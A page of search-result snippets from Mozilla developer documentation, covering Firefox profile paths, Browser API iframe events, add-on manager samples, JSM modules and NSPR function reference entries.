default application installation and user profile directories firefox os application directory user profile directory temporary directory windows vista/7 c:\program files\mozilla firefox\ c:\users\<username>\appdata\roaming\mozilla\firefox\ (or %appdata%\mozilla\firefox\) c:\users\<username>\appdata\local\mozilla\firefox\ (or %localappdata%\mozilla\firefox) and c:\users\<username>\appdata\local\virtualstore\program files\mozilla firefox\ windows 2000/xp c:\program files\mozilla firefox\ c:\documents and settings\<username>\application data\mozilla\firefox\ (or %appdata%\mozilla\firefox\) c:\documents and settings\<username>\local settings\application data\mozilla\firefox\ os x /applications/firefox.app ...
... ~/library/application support/firefox/profiles/xxxxxxxx.default/ ~/library/caches/firefox/profiles/xxxxxxxx.default/ linux ????
... ~/.mozilla/firefox/xxxxxxxx.default/ n/d thunderbird os application directory user profile directory temporary directory windows vista/7 c:\program files\mozilla thunderbird\ c:\users\<username>\appdata\roaming\thunderbird\ (or %appdata%\thunderbird\) c:\users\<username>\appdata\local\thunderbird\ (or %localappdata%\thunderbird\) and c:\users\<username>\appdata\local\virtualstore\program files\mozilla thunderbird\ windows 2000/xp c:\program files\mozilla thunderbird\ c:\documents and settings\<username>\application data\thunderbird\ (or %appdata%\thunderbird\) c:\documents and settings\<username>\local settings\application data\thunderbird\ os x /applications/thunderbird.app ~/library/thunderbir...
...d/profiles/xxxxxxxx.default/ ~/library/caches/thunderbird/profiles/xxxxxxxx.default/ linux ????
Frame script environment
you can still access the global directly using this.
... events besides the regular dom events being captured/bubbling up from content the current content object the following additional events get fired in a frame script environment: unload bubbles no fires when the frame script environment is shut down, i.e.
... if you use a capturing event listener on the contentframemessagemanager, you should verify that its event.target is set to the contentframemessagemanager global object to avoid handling unload events from content.
... this can be used if a framescript needs to interact with individual dom windows instead of simply listening for events bubbling up from content.
Firefox
here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics.
... project documentation get detailed information about the internals of firefox and its build system, so you can find your way around in the code.
...the most useful is the url about:config, which displays preferences and settings that can be inspected and changed.firefox ui considerations for web developersthere are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way.
...you can find details about profiles on mozilla's end-user support site.performance best practices for firefox front-end engineersthis guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
HTMLIFrameElement.findNext()
the findnext() method of the htmliframeelement highlights the next or previous instance of a search result after a findall() search has been carried out.
... invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... parameters direction a string indicating the direction in which you want to cycle through the available search results.
... prev.addeventlistener('touchend',function() { browser.findnext('backward'); }); next.addeventlistener('touchend',function() { browser.findnext('forward'); }); specification not part of any specification.
HTMLIFrameElement.getStructuredData()
the getstructureddata() method of the htmliframeelement interface retrieves any structured microdata (and hcard and hcalendar microformat data) contained in the html loaded in the browser <iframe> and returns it as json.
... syntax var instanceofdomrequest = instanceofhtmliframeelement.getstructureddata(); returns a domrequest to handle the getstructureddata() request's success and error cases.
... examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["chris askew"], "n":[ { "properties": { "given-name":["chris"], "family-name":["askew"], ...
... specification not part of any specification.
HTMLIFrameElement.getVolume()
syntax there are two versions of this method, a callback version: var request = instanceofhtmliframeelement.getvolume(); and a promise version: instanceofhtmliframeelement.getvolume().then(function(volume) { ...
... }); returns callback version: a domrequest that represents the get volume request.
... it has an onsuccess handler to handle the success case, and an onerror handler to handle the failure case.
... example callback version: var browser = document.queryselector('iframe'); var request = browser.getvolume(); request.onsuccess = function() { console.log('the current browser volume is ' + request.result); } promise version: var browser = document.queryselector('iframe'); browser.getvolume().then(function(volume) { console.log('the current browser volume is ' + volume); }); specification not part of any specification.
mozbrowseraudioplaybackchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... details read only boolean indicates whether audio is playing in the browser.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseraudioplaybackchange", function(event) { console.log(event.details); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserclose
the mozbrowserclose event is fired when the content of a browser <iframe> calls the window.close() method.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserclose", function() { console.log("browser window has been closed; iframe will be destroyed."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsererror
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...possible values are: fatal(crash) unknownprotocolfound filenotfound dnsnotfound connectionfailure netinterrupt nettimeout cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxyconnectfailure contentencodingfailure remotexul unsafecontenttype corruptedcontenterror certerror other example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsererror", function( event ) { console.log("an error occurred:" + event.detail); }); related events mozbrowserasync...
...scroll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsericonchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsericonchange", function( event ) { console.log("the url of the new favicon is:" + event.details.href); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserloadstart
this can be used when the embedder wants to start spinning a loading indicator, or update the ui in some other way to indicate loading has started.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
... var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadstart',function() { stopreload.textcontent = 'x'; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsermanifestchange
the mozbrowsermanifestchange event is fired when the manifest location of the app loaded in the browser <iframe> changes.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsermanifestchange", function(event) { console.log("new manifest url: " + event.details.href); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowseropensearch
when an instance of <link rel="search" type="application/opensearchdescription+xml"> is encountered.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropensearch", function( event ) { console.log("new search engine encountered: " + event.details.title); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange ...
mozbrowseropenwindow
the mozbrowseropenwindow event is fired when a new window is required — usually when the content of a browser <iframe> successfully calls the window.open() method, or the user clicks on a link with an unknown target.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropenwindow", function( event ) { console.log("a new window has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscroll
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
... details the details property returns an anonymous javascript object with the following properties: top a number representing the new vertical scroll position of the <iframe> viewport — in css pixels — from the top of the viewport.
...ent.queryselector("iframe"); browser.addeventlistener("mozbrowserscroll", function( event ) { console.log("the new scroll position is " + event.details.left + " across and " + event.details.top + "down."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
HTMLIFrameElement.setVisible()
as an example, if the content of a browser <iframe> uses the window.requestanimationframe method and if the visible state is set to true, window.requestanimationframe will be called as often as necessary.
... however, if the visible state is set to false, window.requestanimationframe will be called only when there are free resources to do it.
... parameters visible a boolean that indicates if the browser <iframe> visible state is true or false.
... examples var browser = document.queryselector('iframe'); browser.setvisible(true); specification not part of any specification.
Geckoview-Junit Tests
these tests run on an android device, controlled by a host (typically linux) using mozdevice (adb).
... running tests locally if desired, connect an android device to your computer, or start an emulator, and make sure your device is visible to adb: $ adb devices list of devices attached emulator-5554 device if no device is found, 'mach geckoview-junit' will offer to start an emulator.
... tests can also be conditionally skipped using junit's assume or assumethat methods.
... @test fun contentcrashignored() { // cannot test x86 debug builds due to gecko's "ah_crap_handler" // that waits for debugger to attach during a sigsegv.
IPDL Type Serialization
in many cases a serializer can be written by combining existing serializers.
... most structures can be serialized in this manner: struct examplestruct { int i; nscstring j; int k[4]; }; namespace ipc { template <> struct paramtraits<examplestruct> { typedef examplestruct paramtype; static void write(message* amsg, const paramtype& aparam) { writeparam(amsg, aparam.i); writeparam(amsg, aparam.j); for (int i = 0; i < 4; ++i) writeparam(amsg, aparam.k[i]); } static bool read(const message* amsg, void** aiter, paramtype* aresult) { if (!readparam(amsg, aiter, &(aresult->i)) || !readparam(amsg, aiter, &(aresult->j))) return false; for (int i = 0; i < 4; ++i) if (!readparam(amsg, aiter, &(aresult->k[i]))) return false; return true; } }; } // namespace ipc once you have a serializer for a t...
...ype, you can serialize a collection of it (ex: an nstarray<examplestruct>) by simply declaring "using nstarray<examplestruct>;' in your ipdl file, then using it in a ipc method.
...it is never acceptable to serialize/deserialize raw pointer values; if you are tempted, you probably should create a subprotocol for that data, so that ipdl can check the values and lifetime.
AddonUpdateChecker
if all you care about is finding the newest version for an addon then you probably want to use findupdates() instead.
... methods getcompatibilityupdate() retrieves the best matching compatibility update for the application from a list of available update objects.
...date( in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion ) parameters updates an array of update objects version the version of the add-on to get new compatibility information for ignorecompatibility an optional parameter to get the first compatibility update that is compatible with any version of the application or toolkit appversion the version of the application or null to use the current version platformversion the version of the platform or null to use the current version getnewestcompatibleupdate() returns the newest available update from a list of update objects.
... updateinfo getnewestcompatibleupdate( in updateinfo updates[], in string appversion, in string platformversion ) parameters updates an array of update objects appversion the version of the application or null to use the current version platformversion the version of the platform or null to use the current version checkforupdates() starts an update check.
Code Samples
getting the directory where your add-on is located if you need to determine the directory in which your add-on is installed, code like the following will do the trick.
... components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("yourextensionid", function(addon) { var addonlocation = addon.getresourceuri("").queryinterface(components.interfaces.nsifileurl).file.path; }); accessing file and version information components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("my-addon@foo.com", function(addon) { alert("my extension's version is " + addon.version); alert("did i remember to include that file.txt file in my xpi?
...ger.getaddonbyid("youraddon@youraddon.com", function(addon) { addon.uninstall(); }); disable an add-on components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("youraddon@youraddon.com", function(addon) { if (addon.isactive) addon.userdisabled = addon.isactive; }); listening for add-on uninstall this example sets a variable beinguninstalled that you can check when you get a profile-before-change message to do cleanup for your add-on on uninstall.
... var beinguninstalled; let listener = { onuninstalling: function(addon) { if (addon.id == "youraddon@youraddon.com") { beinguninstalled = true; } }, onoperationcancelled: function(addon) { if (addon.id == "youraddon@youraddon.com") { beinguninstalled = (addon.pendingoperations & addonmanager.pending_uninstall) != 0; } } } try { components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.addaddonlistener(listener); } catch (ex) {} ...
Dict.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type.
... note: you can actually specify non-strings as keys; these are converted to strings before being used, so they're documented here as if they were a string parameter.
... return value a new dictionary object containing the same top-level items as the original dictionary on which the copy() method was called.
... var mydict = new dict(); mydict.set("name", "john smith"); mydict.set("email", "jsmith@example.com"); mydict.set("phone", "650-555-1234"); working with existing keys you can then check to see if a given key exists: if (mydict.has("email")) { /* an "email" key exists on the object */ } ...
FxAccountsOAuthClient.jsm
the fxaccountsoauthclient.jsm javascript module provides a way for browser services to authenticate with the firefox accounts oauth server.
... oncomplete function gets called when the firefox accounts oauth flow successfully completes.
...registers a webchannel listener and sets up a callback if needed.
... parameters none teardown() call this function to manually release all channels and callbacks that are in use by this client.
Deferred
note: this function is exactly same as promise constructor's resolve argument, and can be called with any value of this.
... note: calling this method with a pending promise as the avalue argument, and then calling it again with another value before the promise is resolved or rejected, will have no effect the second time, as the associated promise is already resolved to the pending promise value as its resolution.
... note: this function is exactly same as promise constructor's reject argument, and can be called with any value of this.
...although the reason can be undefined, it is generally an error object, like in exception handling.
Services.jsm
to use it, you first need to import the code module into your javascript scope: const {services} = chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them from the services object exported by the code module.
... for example, to obtain a reference to the preferences service: var prefsservice = services.prefs; provided service getters service accessor service interface service name androidbridge nsiandroidbridge 1 appinfo nsixulappinfo nsixulruntime application information service appshell nsiappshellservice application shell service blocklist nsiblocklistservice blocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager...
... downloads nsidownloadmanager download manager droppedlinkhandler nsidroppedlinkhandler dropped link handler service els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld service focus nsifocusmanager focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2 mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service ppmm nsimessagebroadcaste...
...h nsiprefbranch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service scriptsecuritymanager nsiscriptsecuritymanager script security manager search nsibrowsersearchservice browser search service startup nsiappstartup application startup service storage mozistorageservice storage api service strings nsistringbundleservice string bundle service sysinfo nsipropertybag2 system info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manager service urifixup nsiurifixup uri fixup service urlformatter ...
Using workers in JavaScript code modules
you can do so by using chromeworker instead of the standard worker object.
... note: as of gecko 8.0, the nsiworkerfactory interface has been removed starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), you can use workers in javascript code modules (jsms).
...urpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_url.js'); this will create a new chrome worker that will immediately begin to run the script at the specified url (in this case, "script_url.js").
... for example, "script_url.js" can be "chrome://extension_name/content/script.js".
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
... method overview listen(function callback); stoplistening(); send(object message, eventtarget target); attributes id string webchannel id methods listen() registers the callback for messages on this channel.
... parameters callback callback function containing function(id, message, sendercontext) parameters.
... id - webchannel id of the incoming messages message - incoming message object sendercontext - incoming message context - this should be treated as an opaque object and passed to the .send() method stoplistening() resets the callback for messages on this channel.
Mozilla Framework Based on Templates (MFBT)
(the <stdint.h> standard header is not available on all platforms and so cannot be used directly.
... guardobjects.h provides macros which can be used to annotate an raii-style guard class, so that any attempt to create an unnamed temporary for it will assert.
... rangedptr.h implements rangedptr, a smart pointer template whose value may be manipulated only within a range specified at construction time, and which may be dereferenced only at valid locations in that range.
... threadlocal.h implements thread-local storage, aka "tls", also called thread-specific storage.
MathML Screenshots
this page also shows how mathml can be used in combination with other web features such as background images at a desired opacity.
... screen captures of mtable, showing typesetting mathematical constructs in 2d.
...this screen capture demonstrates advanced layout with mtable and stretchy operators.
... you can get the mathml source of a formula or a selected expression.
dtrace
dtrace is a powerful mac os x kernel instrumentation system that can be used to profile wakeups.
... invocation dtrace must be invoked as the super-user.
... you can see a complete list of probes by running sudo dtrace -l.
...the ordering of the stack traces can be non-obvious, so look at them carefully.
perf
this article discusses how it can be relevant to power profiling.
... energy estimates perf can access the intel rapl energy estimates.
...the -r 1 means <command> is executed once; higher values can be used to get variations.
... wakeups perf can also be used to do high-context profiling of wakeups.
browser.dom.window.dump.file
browser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true.
... changes require an application restart.
... type:string default value:none exists by default: no application support: gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) status: active; last updated 2012-03-18 introduction: pushed to nightly on 2009-04-24 bugs: bug 489938 values the value holds the file system path for the file in which the content of the window.dump() calls get written, e.g.
... the line breaks have to be in the argument of the dump function, else successive dump calls will get logged into the same line.
Patches and pushes
now that you've made your productization selections, you may be interested in learning the technical aspects behind productization by creating a productization patch.
...<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{search...
...note that if your team selects a local version of an already default plugin (e.g., wikipedia), the xml filename should include the locale code (e.g., wikipedia-es).
...it can be considered a bit complicated at first, but after you do it the first time, it gets easier and easier after that :-) ...
MailNews automated testing
automated testing is an increasingly significant and important part of mailnews development.
... it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
...these tests can go beyond the limitations of xpcshell-tests (for example, access c++ code) and other testing options that don't test at the right level.
... message injection: inject synthesized messages via local or imap (using a fake server).
Creating a Cookie Log
run firefox by typing "./firefox" and pressing enter mac os x open terminal.app, which is located in the /applications/utilities folder (these instructions are for bash, the default shell in mac os x 10.3 and higher; if you use something else, you probably know how to modify these instructions already).
...type "cd /applications/firefox.app/contents/macos" and press return.
... run firefox by typing "./firefox-bin" and pressing return (note that firefox will launch behind windows for other applications).
... creating the log now that you have firefox running with logging enabled, please try to replicate the bug using the steps to reproduce from the bug report.
Condition Variables
this chapter describes the api for creating and destroying condition variables, notifying condition variables of changes in monitored data, and making a thread wait on such notification.
... condition variable type condition variable functions conditions are closely associated with a single monitor, which typically consists of a mutex, one or more condition variables, and the monitored data.
... a call to pr_waitcondvar causes a thread to block until a specified condition variable receives notification of a change of state in its associated monitored data.
...unlike a mutex of type prlock, which can have multiple associated condition variables of type prcondvar, a mutex of type prmonitor has a single, implicitly associated condition variable.
NSPR LOG MODULES
syntax modulename:level[, modulename:level]* modulename is the name specified in a pr_newlogmodule call or one of the handy magic names listed below.
... description specify a modulename that is associated with the name argument in a call to pr_newlogmodule and a non-zero level value to enable logging for the named modulename.
...these controls should be set in the nspr_log_modules environment variable at execution time to affect nspr's log service for your application.
...to enable all log module calls to pr_log, set the variable as follows: set nspr_log_modules=all:5 timestamp including timestamp results in a timestamp of the form "2015-01-15 21:24:26.049906 utc - " prefixing every logged line.
PLHashAllocOps
syntax #include <plhash.h> typedef struct plhashallocops { void *(pr_callback *alloctable)(void *pool, prsize size); void (pr_callback *freetable)(void *pool, void *item); plhashentry *(pr_callback *allocentry)(void *pool, const void *key); void (pr_callback *freeentry)(void *pool, plhashentry *he, pruintn flag); } plhashallocops; #define ht_free_value 0 /* just free the entry's value */ #define ht_free_entry 1 /* free value and entire entry */ description users of the hash table functions can provide their own memory allocation functions.
... a pair of functions is used to allocate and tree the table, and another pair of functions is used to allocate and free the table entries.
... the first argument, pool, for all four functions is a void * pointer that is a piece of data for the memory allocator.
... typically pool points to a memory pool used by the memory allocator.
PRIntervalTime
a platform-dependent type that represents a monotonically increasing integer--the nspr runtime clock.
...they indicate that the process should wait no time (return immediately) or wait forever (never time out), respectively.
...since the sampling of the counter used to define an arbitrary epoch may have any 32-bit value, some care must be taken in the use of interval times.
...waiting on events more than half a day in the future must therefore be based on a calendar time.
PR_Bind
further information can be obtained by calling pr_geterror.
...if you do not care about the exact ip address assigned to the socket, set the inet.ip field of prnetaddr to pr_htonl(pr_inaddr_any).
... if you do not care about the tcp/udp port assigned to the socket, set the inet.port field of prnetaddr to 0.
... call pr_getsockname to obtain the address (name) bound to a socket.
PR_Cleanup
if the calling thread of this function is not the primordial thread, pr_failure.
... description pr_cleanup must be called by the primordial thread near the end of the main function.
...it does so by blocking the caller, if and only if it is the primordial thread, until all user threads have terminated.
...that is, the process (if necessary) forcibly terminates any existing threads and exits without significant blocking and without error messages or core files.
PR_Connect
further information can be obtained by calling pr_geterror.
...both cases are discussed here.
...if the socket is not bound, it will be bound to an arbitrary local address.
...if pr_connect is invoked on a udp socket, it has an overloaded meaning: pr_connect merely saves the specified address as the default peer address for the socket, so that subsequently one can send and receive datagrams from the socket using pr_send and pr_recv instead of the usual pr_sendto and pr_recvfrom.
PR_ConnectContinue
if pr_connectcontinue() returns pr_failure, call pr_geterror(): - pr_in_progress_error: the nonblocking connect is still in progress and has not completed yet.
... the caller should poll the file descriptor for the in_flags pr_poll_write|pr_poll_except and retry pr_connectcontinue later when pr_poll() returns.
...after a nonblocking connect is initiated with pr_connect() (which fails with pr_in_progress_error), one should call pr_poll() on the socket, with the in_flags pr_poll_write | pr_poll_except.
... when pr_poll() returns, one calls pr_connectcontinue() on the socket to determine whether the nonblocking connect has completed or is still in progress.
PR_CreatePipe
the error code can be retrieved via pr_geterror.
...data written into the write end of the pipe can be read from the read end of the pipe.
... pipes are useful for interprocess communication between a parent and a child process.
... when the pipe is no longer needed, both ends should be closed with calls to pr_close.
PR_DetachThread
the call returns after the nspr thread object is destroyed.
... this call is needed only if you attached the thread using pr_attachthread.
...a native thread not created by nspr is automatically attached the first time it calls an nspr function, and automatically detached when it exits.
... in nspr release 19980529b and earlier, it is necessary for a native thread not created by nspr to call pr_attachthread before it calls any nspr functions, and call pr_detachthread when it is done calling nspr functions.
PR_FreeLibraryName
frees memory allocated by nspr for library names and path names.
... syntax #include <prlink.h> void pr_freelibraryname(char *mem); parameters the function has this parameter: mem a reference to a character array that was previously allocated by the dynamic library runtime.
... description this function deletes the storage allocated by the runtime in the functions described previously.
... it is important to use this function to rather than calling directly into malloc in order to isolate the runtime's semantics regarding storage management.
PR_GMTParameters
note: since this function requires gmt as input, its primary use is as "filler" for cases in which you need a do-nothing callback.
... syntax #include <prtime.h> prtimeparameters pr_gmtparameters ( const prexplodedtime *gmt); parameter gmt a pointer to the clock/calendar time whose offsets are to be determined.
... description this is a frequently-used time parameter callback function.
... you don't normally call it directly; instead, you pass it as a parameter to pr_explodetime() or pr_normalizetime().
PR GetAddrInfoByName
flags may be either pr_ai_addrconfig or pr_ai_addrconfig | pr_ai_nocanonname.
... include pr_ai_nocanonname to suppress the determination of the canonical name corresponding to hostname returns the function returns one of the following values: if successful, a pointer to the opaque praddrinfo structure containing the results of the host lookup.
...when no longer needed, this pointer must be destroyed with a call to pr_freeaddrinfo.
...you can retrieve the reason for the failure by calling pr_geterror.
PR_GetConnectStatus
the reason for the failure can be retrieved via pr_geterror.
... if pr_geterror returns pr_in_progress_error, the nonblocking connection is still in progress and has not completed yet.other errors indicate that the connection has failed.
... description after pr_connect on a nonblocking socket fails with pr_in_progress_error, you may wait for the connection to complete by calling pr_poll on the socket with the in_flags pr_poll_write | pr_poll_except.
... when pr_poll returns, call pr_getconnectstatus on the socket to determine whether the nonblocking connect has succeeded or failed.
PR_GetHostByAddr
buf a pointer to a buffer, allocated by the caller, that is filled in with host data on output.
...this buffer is referenced by the runtime during a call to pr_enumeratehostent.
... hostentry this structure is allocated by the caller.
...you can retrieve the reason for the failure by calling pr_geterror.
PR_GetHostByName
buf a pointer to a buffer, allocated by the caller, that is filled in with host data on output.
...this buffer is referenced by the runtime during a call to pr_enumeratehostent.
... hostentry this structure is allocated by the caller.
...you can retrieve the reason for the failure by calling pr_geterror.
PR_Initialize
in addition to establishing the sequence of operations, pr_initialize implicitly calls pr_cleanup on exiting the primordial function.
... argc the length of the argument vector, whether passed in from the host's program-launching facility or fabricated by the actual main program.
... description pr_initialize initializes the nspr runtime and places nspr between the caller and the runtime library.
... pr_initialize does not return to its caller until all user threads have terminated.
PR_MALLOC
allocates memory of a specified size from the heap.
... returns an untyped pointer to the allocated memory, or if the allocation attempt fails, null.
... call pr_geterror() to retrieve the error returned by the libc function malloc().
... description this macro allocates memory of the requested size from the heap.
PR_NEW
allocates memory of a specified size from the heap.
... returns an pointer to a buffer sized to contain the type _struct, or if the allocation attempt fails, null.
... call pr_geterror() to retrieve the error returned by the libc function.
... description this macro allocates memory whose size is sizeof(_struct) and returns a pointer to that memory.
PR_NEWZAP
allocates and clears memory from the heap for an instance of a given type.
... returns an pointer to a buffer sized to contain the type _struct, or if the allocation attempt fails, null.
...call pr_geterror() to retrieve the error returned by the libc function.
... description this macro allocates an instance of the specified type from the heap and sets the content of that memory to zero.
PR_NewUDPSocket
udp datagrams may be lost or delivered in duplicates or out of sequence.
...datagrams can be sent with pr_sendto and received with pr_recvfrom.
... when the socket is no longer needed, it should be closed with a call to pr_close.
... see also pr_newudpsocket is deprecated because it is hardcoded to create an ipv4 udp socket.
PR_NotifyAll
the monitor object referenced must be one for which the calling thread currently holds the lock.
... description a call to pr_notifyall causes all of the threads waiting on the monitor to be scheduled to be promoted to a ready state.
... pr_notifyall should be used with some care.
... the expense of scheduling multiple threads increases dramatically as the number of threads increases.
PR_OpenDir
returns if the directory is successfully opened, a prdir object is dynamically allocated and the function returns a pointer to it.
... if the directory cannot be opened, the function returns null.
... description pr_opendir opens the directory specified by the pathname name and returns a pointer to a directory stream (a prdir object) that can be passed to subsequent pr_readdir calls to get the directory entries (files and subdirectories) in the directory.
... the prdir pointer should eventually be closed by a call to pr_closedir.
PR OpenUDPSocket
can be pr_af_inet (ipv4), pr_af_inet6 (ipv6), or pr_af_local (unix domain, supported on posix systems only).
...udp datagrams may be lost or delivered in duplicates or out of sequence.
...datagrams can be sent with pr_sendto and received with pr_recvfrom.
... when the socket is no longer needed, it should be closed with a call to pr_close.
PR_Realloc
resizes allocated memory on the heap.
... returns an untyped pointer to the allocated memory, or if the allocation attempt fails, null.
... call pr_geterror() to retrieve the error returned by the libc function realloc().
...the contents of the specified memory remains the same up to the smaller of its old size and new size, although the new memory block's address can be different from the original address.
PR_Read
returns one of the following values: a positive number indicates the number of bytes actually read in.
... the value -1 indicates a failure.
... to get the reason for the failure, call pr_geterror.
... description the thread invoking pr_read blocks until it encounters an end-of-stream indication, some positive number of bytes (but no more than amount bytes) are read in, or an error occurs.
PR_ReadDir
values can include the following: pr_skip_none.
...the reason can be retrieved via pr_geterror.
